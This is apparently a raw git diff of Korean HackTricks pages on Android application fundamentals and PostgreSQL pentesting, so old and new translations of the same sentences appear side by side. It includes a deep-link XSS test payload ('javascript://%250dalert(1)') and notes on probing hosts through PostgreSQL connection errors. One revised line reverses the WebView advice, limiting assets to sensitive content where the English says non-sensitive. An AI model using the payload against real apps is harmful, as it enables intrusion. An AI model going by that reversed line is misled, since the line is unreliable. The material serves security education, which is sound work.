이러한 것들은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장**됩니다.\
|
||||
**어떤 애플리케이션이 데이터를 엿볼 수 있지만 수정할 수도 있습니다.**
|
||||
**어떤 애플리케이션이 데이터를 가로채고 수정할 수 있게 합니다.**
|
||||
|
||||
**`sendStickyBroadcast`** 또는 \*\*`sendStickyBroadcastAsUser`\*\*와 같이 "sticky"를 포함하는 함수를 찾으면 **영향을 확인하고 제거하려고 시도**해야 합니다.
|
||||
**`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**와 같이 "sticky"라는 단어를 포함하는 함수를 찾으면 **영향을 확인하고 제거하려고 시도**하십시오.
|
||||
|
||||
## 딥 링크 / URL 스키마
|
||||
|
||||
Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스키마**를 선언함으로써 수행됩니다. Android 기기가 **이 스키마를 사용하여 URL에 액세스하려고 시도할 때**, 애플리케이션 내의 지정된 활동이 시작됩니다.
|
||||
|
||||
스키마는 **`AndroidManifest.xml`** 파일에 선언되어야 합니다:
|
||||
Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스키마**를 선언함으로써 수행됩니다. Android 기기가 **이러한 스키마를 포함하는 URL에 액세스**하려고 할 때, 애플리케이션 내의 지정된 활동이 시작됩니다.
|
||||
|
||||
스키마는 **`AndroidManifest.xml`** 파일에 선언되어야 합니다.
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -230,48 +218,44 @@ Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
이전 예제의 scheme은 `exampleapp://`입니다 (또한 **`category BROWSABLE`**도 참고하세요)
|
||||
|
||||
이전 예제의 scheme은 `exampleapp://`입니다 (또한 \*\*`category BROWSABLE`\*\*도 참고하세요)
|
||||
|
||||
그런 다음, 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다:
|
||||
|
||||
그런 다음 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다:
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
|
||||
웹에서 액세스하려면 다음과 같이 링크를 설정할 수 있습니다:
|
||||
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
**앱에서 실행될 코드를 찾으려면** 딥링크로 호출된 액티비티로 이동하여 **`onNewIntent`** 함수를 검색하십시오.
|
||||
|
||||
**앱에서 실행될 코드를 찾으려면** deeplink에 의해 호출된 activity로 이동하여 **`onNewIntent`** 함수를 검색하십시오.
|
||||
|
||||
[HTML 페이지를 사용하지 않고 deep link를 호출하는 방법](./#exploiting-schemes-deep-links)을 배우세요.
|
||||
[HTML 페이지를 사용하지 않고 딥링크를 호출하는 방법](./#exploiting-schemes-deep-links)을 배우세요.
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
\*\*Android Interface Definition Language (AIDL)\*\*은 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간 통신을 용이하게 하는 데 사용됩니다. Android에서 다른 프로세스의 메모리에 직접 액세스하는 것은 허용되지 않기 때문에 AIDL은 객체를 운영 체제가 이해하는 형식으로 marshalling하여 서로 다른 프로세스 간의 통신을 용이하게 합니다.
|
||||
**Android Interface Definition Language (AIDL)**은 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간 통신을 용이하게 하는 데 사용됩니다. Android에서 다른 프로세스의 메모리에 직접 액세스하는 것은 허용되지 않기 때문에 AIDL은 객체를 운영 체제가 이해하는 형식으로 마샬링하여 서로 다른 프로세스 간 통신을 용이하게 합니다.
|
||||
|
||||
### 주요 개념
|
||||
|
||||
* **Bound Services**: 이러한 서비스는 IPC를 위해 AIDL을 활용하여 활동이나 구성 요소가 서비스에 바인딩되어 요청을 수행하고 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메서드는 상호 작용을 시작하는 데 중요하며 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||
* **Messenger**: 바운드 서비스로 작동하는 Messenger는 `onBind` 메서드를 통해 데이터 처리에 중점을 둔 IPC를 용이하게 합니다. 이 메서드를 안전하지 않은 데이터 처리나 민감한 기능 실행을 위해 면밀히 검토하는 것이 중요합니다.
|
||||
* **Binder**: AIDL의 추상화로 인해 Binder 클래스의 직접적인 사용은 덜 흔하지만, Binder가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작동한다는 점을 이해하는 것이 유익합니다. 자세한 내용은 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 확인할 수 있습니다.
|
||||
- **바운드 서비스**: 이러한 서비스는 IPC를 위해 AIDL을 활용하여 활동이나 구성 요소가 서비스에 바인딩되어 요청을 수행하고 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메서드는 상호 작용을 시작하는 데 중요하며 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||
|
||||
- **Messenger**: 바운드 서비스로 작동하는 Messenger는 `onBind` 메서드를 통해 데이터 처리에 중점을 둔 IPC를 용이하게 합니다. 이 메서드를 신중하게 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행 여부를 확인하는 것이 중요합니다.
|
||||
|
||||
- **Binder**: AIDL의 추상화로 인해 Binder 클래스의 직접적인 사용은 덜 흔하지만, Binder가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작동한다는 점을 이해하는 것이 유익합니다. 자세한 내용은 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 확인할 수 있습니다.
|
||||
|
||||
## 구성 요소
|
||||
|
||||
이는 **Activities, Services, Broadcast Receivers 및 Providers**를 포함합니다.
|
||||
이는 **액티비티, 서비스, 브로드캐스트 수신자 및 프로바이더**를 포함합니다.
|
||||
|
||||
### 런처 액티비티 및 기타 활동
|
||||
### 런처 액티비티 및 기타 액티비티
|
||||
|
||||
Android 앱에서 **activities**는 화면처럼 작동하여 앱의 사용자 인터페이스의 다른 부분을 표시합니다. 앱에는 여러 개의 activities가 있을 수 있으며 각각은 사용자에게 고유한 화면을 제공합니다.
|
||||
|
||||
**런처 액티비티**는 앱으로의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
|
||||
Android 앱에서 **액티비티**는 화면처럼 작동하여 앱의 사용자 인터페이스의 다른 부분을 보여줍니다. 앱은 각각이 사용자에게 고유한 화면을 제공하는 많은 액티비티를 가질 수 있습니다.
|
||||
|
||||
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 MAIN 및 LAUNCHER 인텐트로 정의됩니다.
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -280,23 +264,19 @@ Android 앱에서 **activities**는 화면처럼 작동하여 앱의 사용자
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
모든 앱이 런처 액티비티를 필요로 하는 것은 아닙니다, 특히 사용자 인터페이스가 없는 백그라운드 서비스와 같은 경우입니다.
|
||||
|
||||
앱 중에는 백그라운드 서비스와 같이 사용자 인터페이스가 없는 앱들도 런처 액티비티가 필요하지 않을 수 있습니다.
|
||||
|
||||
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있게 합니다:
|
||||
|
||||
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정을 통해 다른 앱이 이 액티비티를 시작할 수 있습니다:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
||||
그러나 다른 앱에서 활동에 액세스하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유되는 경우에는 정보 누출로 이어질 수 있습니다.
|
||||
|
||||
활동의 수명주기는 **onCreate 메서드로 시작**되며 UI를 설정하고 사용자와 상호 작용할 수 있도록 활동을 준비합니다.
|
||||
|
||||
### 애플리케이션 서브클래스
|
||||
|
||||
Android 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 만들 수 있지만 필수는 아닙니다. 이러한 서브클래스가 정의된 경우 해당 클래스는 앱 내에서 가장 먼저 인스턴스화됩니다. 이 서브클래스에 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드보다 먼저 실행됩니다. 이 설정을 통해 애플리케이션이 시작되기 전에 초기화를 빠르게 수행할 수 있습니다.
|
||||
|
||||
Android 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 만들 수 있지만 필수는 아닙니다. 이러한 서브클래스가 정의된 경우 해당 서브클래스가 앱 내에서 가장 먼저 인스턴스화됩니다. 이 서브클래스에서 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드보다 먼저 실행됩니다. 이 설정을 통해 애플리케이션이 시작되기 전에 초기화를 빠르게 수행할 수 있습니다.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -312,29 +292,35 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 서비스
|
||||
|
||||
[서비스](https://developer.android.com/guide/components/services)는 사용자 인터페이스 없이 작업을 실행할 수 있는 **백그라운드 작업자**입니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환해도 계속 실행될 수 있어서 **장기 실행 작업**에 중요합니다.
|
||||
|
||||
서비스는 다양한 방법으로 시작될 수 있으며, **인텐트**가 애플리케이션의 진입점으로 사용되어 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스를 시작하면 `onStart` 메서드가 실행되어 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또한, 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, 클라이언트를 서비스에 바인딩하기 위해 `bindService` 메서드가 사용되며 데이터 전달을 위해 `onBind` 메서드가 활성화됩니다.
|
||||
|
||||
서비스의 흥미로운 응용 사례로는 사용자가 앱과 상호 작용하는 것을 방해하지 않고 백그라운드에서 음악 재생이나 네트워크 데이터 가져오기가 있습니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적으로 구성해야 합니다:
|
||||
서비스는 다양하게 활용될 수 있으며, **인텐트**가 애플리케이션의 진입점으로 사용되는 주요한 방법으로 서비스를 시작할 수 있습니다. `startService` 메소드를 사용하여 서비스를 시작하면 `onStart` 메소드가 실행되어 `stopService` 메소드가 명시적으로 호출될 때까지 계속 실행됩니다. 또한, 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, 클라이언트를 서비스에 바인딩하기 위해 `bindService` 메소드가 사용되며 데이터 전달을 위해 `onBind` 메소드가 활용됩니다.
|
||||
|
||||
서비스의 흥미로운 응용 사례로는 앱과 상호 작용을 방해하지 않고 백그라운드에서 음악 재생이나 네트워크 데이터 가져오기가 있습니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적으로 구성해야 합니다:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
|
||||
### 브로드캐스트 수신기
|
||||
|
||||
**브로드캐스트 수신기**는 메시징 시스템에서 청취자 역할을 하며, 여러 애플리케이션이 시스템에서의 동일한 메시지에 응답할 수 있게 합니다. 앱은 **두 가지 주요 방법**으로 **수신기를 등록**할 수 있습니다: 앱의 **Manifest**를 통해 또는 앱의 코드 내에서 **`registerReceiver`** API를 통해 **동적으로** 등록할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 수신기는 등록 시 권한을 지정할 수도 있습니다.
|
||||
**브로드캐스트 수신기**는 메시징 시스템에서 청취자 역할을 하며, 여러 애플리케이션이 시스템에서 오는 동일한 메시지에 응답할 수 있게 합니다. 앱은 **두 가지 주요 방법**으로 **수신기를 등록**할 수 있습니다: 앱의 **Manifest**를 통해 또는 앱의 코드 내에서 **`registerReceiver`** API를 통해 **동적으로** 등록합니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 수신기는 등록 시 권한을 지정할 수도 있습니다.
|
||||
|
||||
**인텐트 필터**는 등록 방법 모두에서 중요하며, 수신기를 트리거하는 브로드캐스트를 결정합니다. 일치하는 브로드캐스트가 전송되면 수신기의 **`onReceive`** 메서드가 호출되어 앱이 해당하는 대로 반응할 수 있게 되며, 예를 들어 배터리 부족 경고에 대한 동작을 조정할 수 있습니다.
|
||||
**인텐트 필터**는 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 수신기를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 수신기의 **`onReceive`** 메소드가 호출되어 앱이 적절히 반응할 수 있게 되며, 예를 들어 배터리 부족 경고에 대한 반응을 조정할 수 있습니다.
|
||||
|
||||
브로드캐스트는 **비동기적**일 수도 있고 순서 없이 모든 수신기에 도달할 수도 있으며, **동기적**일 수도 있어 수신기가 우선순위에 따라 브로드캐스트를 받을 수 있습니다. 그러나 잠재적인 보안 위험을 인지해야 합니다. 모든 앱이 자신을 우선시하여 브로드캐스트를 가로챌 수 있습니다.
|
||||
브로드캐스트는 **비동기적**일 수도 있고, 순서 없이 모든 수신기에 도달할 수도 있으며, **동기적**일 수도 있어서 수신기가 우선순위에 따라 브로드캐스트를 받을 수 있습니다. 그러나 잠재적인 보안 위험을 인지하는 것이 중요합니다. 왜냐하면 어떤 앱이든 자신을 우선시하여 브로드캐스트를 가로챌 수 있기 때문입니다.
|
||||
|
||||
수신기의 기능을 이해하려면 해당 클래스 내의 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 인텐트를 조작할 수 있으며, 특히 \*\*순서가 지정된 브로드
|
||||
수신기의 기능을 이해하려면 해당 클래스 내의 **`onReceive`** 메소드를 찾아보세요. 이 메소드의 코드는 받은 인텐트를 조작할 수 있으며, 특히 **순서가 정해진 브로드캐스트**에서는 데이터 유효성 검사가 필요하다는 점을 강조합니다. 이는 인텐트를 수정하거나 삭제할 수 있기 때문입니다.
|
||||
|
||||
### 콘텐츠 제공자
|
||||
|
||||
**콘텐츠 제공자**는 앱 간에 **구조화된 데이터를 공유**하는 데 필수적이며, 데이터 보안을 보장하기 위해 **권한을 구현**하는 중요성을 강조합니다. 이를 통해 앱은 데이터베이스, 파일 시스템 또는 웹을 포함한 다양한 소스에서 데이터에 액세스할 수 있습니다. **`readPermission`** 및 **`writePermission`**과 같은 특정 권한은 액세스를 제어하는 데 중요합니다. 또한 앱의 Manifest에서 **`grantUriPermission`** 설정을 통해 일시적인 액세스를 부여할 수 있으며, 자세한 액세스 제어를 위해 `path`, `pathPrefix`, `pathPattern`과 같은 속성을 활용할 수 있습니다.
|
||||
|
||||
SQL 인젝션과 같은 취약점을 방지하기 위해 입력 유효성 검사가 중요합니다. 콘텐츠 제공자는 `insert()`, `update()`, `delete()`, `query()`와 같은 기본 작업을 지원하여 데이터 조작 및 애플리케이션 간 데이터 공유를 용이하게 합니다.
|
||||
|
||||
**FileProvider**는 안전하게 파일을 공유하는 데 중점을 둔 특수한 콘텐츠 제공자입니다. 특정 속성을 사용하여 폴더 액세스를 제어하는 앱의 Manifest에 정의되며, `android:exported` 및 `android:resource`로 폴더 구성에 대한 액세스를 제어합니다. 민감한 데이터 노출을 피하기 위해 디렉토리를 공유할 때 주의가 필요합니다.
|
||||
|
||||
FileProvider에 대한 예제 Manifest 선언:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -344,53 +330,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
|
||||
그리고 `filepaths.xml`에서 공유 폴더를 지정하는 예시:
|
||||
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
|
||||
* [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
* [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
- 추가 정보는 다음을 확인하십시오:
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**.
|
||||
WebViews는 Android 앱 내부에 있는 **미니 웹 브라우저**와 같으며, 웹이나 로컬 파일에서 콘텐츠를 불러옵니다. 일반 브라우저와 유사한 위험에 직면하지만, 특정 **설정**을 통해 이러한 위험을 **줄일 수 있는 방법**이 있습니다.
|
||||
|
||||
Android offers two main WebView types:
|
||||
Android는 두 가지 주요 WebView 유형을 제공합니다:
|
||||
|
||||
* **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
||||
* **WebChromeClient** acts more like the full Chrome browser experience.
|
||||
- **WebViewClient**는 기본 HTML에 적합하지만 JavaScript 경고 기능을 지원하지 않아 XSS 공격을 테스트하는 방법에 영향을 줍니다.
|
||||
- **WebChromeClient**는 전체 Chrome 브라우저 경험과 유사하게 작동합니다.
|
||||
|
||||
A key point is that WebView browsers do **not share cookies** with the device's main browser.
|
||||
중요한 점은 WebView 브라우저가 기기의 주요 브라우저와 **쿠키를 공유하지 않는다**는 것입니다.
|
||||
|
||||
For loading content, methods such as `loadUrl`, `loadData`, and `loadDataWithBaseURL` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the `WebSettings` class. For instance, disabling JavaScript with `setJavaScriptEnabled(false)` can prevent XSS attacks.
|
||||
콘텐츠를 로드하기 위해 ````loadUrl````, ````loadData````, ````loadDataWithBaseURL````과 같은 메서드를 사용할 수 있습니다. 이러한 URL이나 파일이 **안전하게 사용**되도록 보장하는 것이 중요합니다. 보안 설정은 ````WebSettings```` 클래스를 통해 관리할 수 있습니다. 예를 들어, ````setJavaScriptEnabled(false)````로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
||||
|
||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with `@JavascriptInterface` for security from Android 4.2 onwards.
|
||||
JavaScript "Bridge"를 통해 Java 객체가 JavaScript와 상호 작용할 수 있으며, Android 4.2 이후 보안을 위해 메서드에 ````@JavascriptInterface````를 표시해야 합니다.
|
||||
|
||||
Allowing content access (`setAllowContentAccess(true)`) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
||||
콘텐츠 액세스를 허용하면 (````setAllowContentAccess(true)````), WebViews가 Content Providers에 액세스할 수 있지만, 콘텐츠 URL이 안전하다는 것이 확인되지 않는 한 위험이 될 수 있습니다.
|
||||
|
||||
To control file access:
|
||||
파일 액세스를 제어하려면:
|
||||
- 파일 액세스 비활성화 (````setAllowFileAccess(false)````)는 파일 시스템에 대한 액세스를 제한하며, 특정 자산에 대한 예외를 허용하여 민감한 콘텐츠에만 사용되도록 보장합니다.
|
||||
|
||||
* Disabling file access (`setAllowFileAccess(false)`) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
||||
## 기타 앱 구성 요소 및 모바일 장치 관리
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
### **애플리케이션의 디지털 서명**
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
- Android 앱에 대한 **디지털 서명**은 **인증된 작성자**임을 보장하기 위해 반드시 필요합니다. 이 프로세스는 앱 식별을 위해 인증서를 사용하며, 설치 시 기기의 패키지 관리자에 의해 확인되어야 합니다. 앱은 **자체 서명 또는 외부 CA에 의해 인증**될 수 있으며, 무단 액세스로부터 보호되고 전달 중에 앱이 변경되지 않도록 보장합니다.
|
||||
|
||||
* **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device.
|
||||
### **향상된 보안을 위한 앱 확인**
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
- **Android 4.2**부터 **앱 확인**이라는 기능을 통해 사용자는 설치 전에 앱을 안전하게 확인할 수 있습니다. 이 **확인 프로세스**를 통해 사용자는 잠재적으로 해로운 앱에 대해 경고를 받거나 특히 악성 앱의 설치를 방지할 수 있어 사용자 보안을 강화할 수 있습니다.
|
||||
|
||||
* Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
* **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices.
|
||||
### **모바일 장치 관리 (MDM)**
|
||||
|
||||
- **MDM 솔루션**은 **장치 관리 API**를 통해 모바일 장치에 대한 **감독 및 보안**을 제공합니다. 이를 위해 Android 앱을 설치하여 모바일 장치를 효과적으로 관리하고 보호해야 합니다. 주요 기능으로는 **암호 정책 강제 적용**, **저장소 암호화 강제 적용**, **원격 데이터 삭제 허용** 등이 있어 모바일 장치에 대한 포괄적인 제어와 보안을 보장합니다.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -401,23 +383,22 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**트라이 하드 보안 그룹**
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 팔로우하세요**.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 기여하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||||
|
@ -15,8 +15,8 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
|
@ -24,7 +24,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **기본 정보**
|
||||
|
||||
**PostgreSQL**은 **오픈 소스**로서 **객체-관계형 데이터베이스 시스템**으로 설명됩니다. 이 시스템은 SQL 언어를 활용하는데 그치지 않고 추가 기능을 통해 보완합니다. 다양한 데이터 유형 및 작업을 처리할 수 있는 능력을 갖추어 개발자 및 조직에게 다재다능한 선택지를 제공합니다.
|
||||
**PostgreSQL**은 **오픈 소스**로서 **객체-관계형 데이터베이스 시스템**으로 설명됩니다. 이 시스템은 SQL 언어를 활용하는데 그치지 않고 추가 기능을 통해 보완합니다. 다양한 데이터 유형과 작업을 처리할 수 있는 능력을 갖추어 개발자와 조직에게 다재다능한 선택지를 제공합니다.
|
||||
|
||||
**기본 포트:** 5432이며, 이 포트가 이미 사용 중인 경우 postgresql은 사용되지 않는 다음 포트(아마도 5433)를 사용하는 것으로 보입니다.
|
||||
```
|
||||
|
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
|
|||
\s
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**`\list`** 명령을 실행하여 **`rdsadmin`**이라는 데이터베이스를 찾으면 **AWS PostgreSQL 데이터베이스**에 접속한 것을 알 수 있습니다.
|
||||
**`\list`**를 실행하면 **`rdsadmin`**이라는 데이터베이스를 찾을 수 있다면 **AWS PostgreSQL 데이터베이스** 안에 있다는 것을 알 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**PostgreSQL 데이터베이스를 남용하는 방법**에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
|
@ -101,7 +101,7 @@ connect_timeout=10');
|
|||
```
|
||||
* 호스트가 다운됨
|
||||
|
||||
```DETAIL: 서버에 연결할 수 없음: 호스트 "1.2.3.4"에서 TCP/IP 연결을 수락하고 포트 5678에서 실행 중입니까?```
|
||||
```DETAIL: 서버에 연결할 수 없음: 호스트로의 경로가 없습니다. 호스트 "1.2.3.4"에서 TCP/IP 연결을 수락하고 포트 5678에서 실행 중입니까?```
|
||||
|
||||
* 포트가 닫혀 있음
|
||||
```
|
||||
|
@ -116,48 +116,27 @@ the server terminated abnormally before or while processing the request
|
|||
```markdown
|
||||
### PostgreSQL
|
||||
|
||||
#### Enumeration
|
||||
#### PostgreSQL Enumeration
|
||||
|
||||
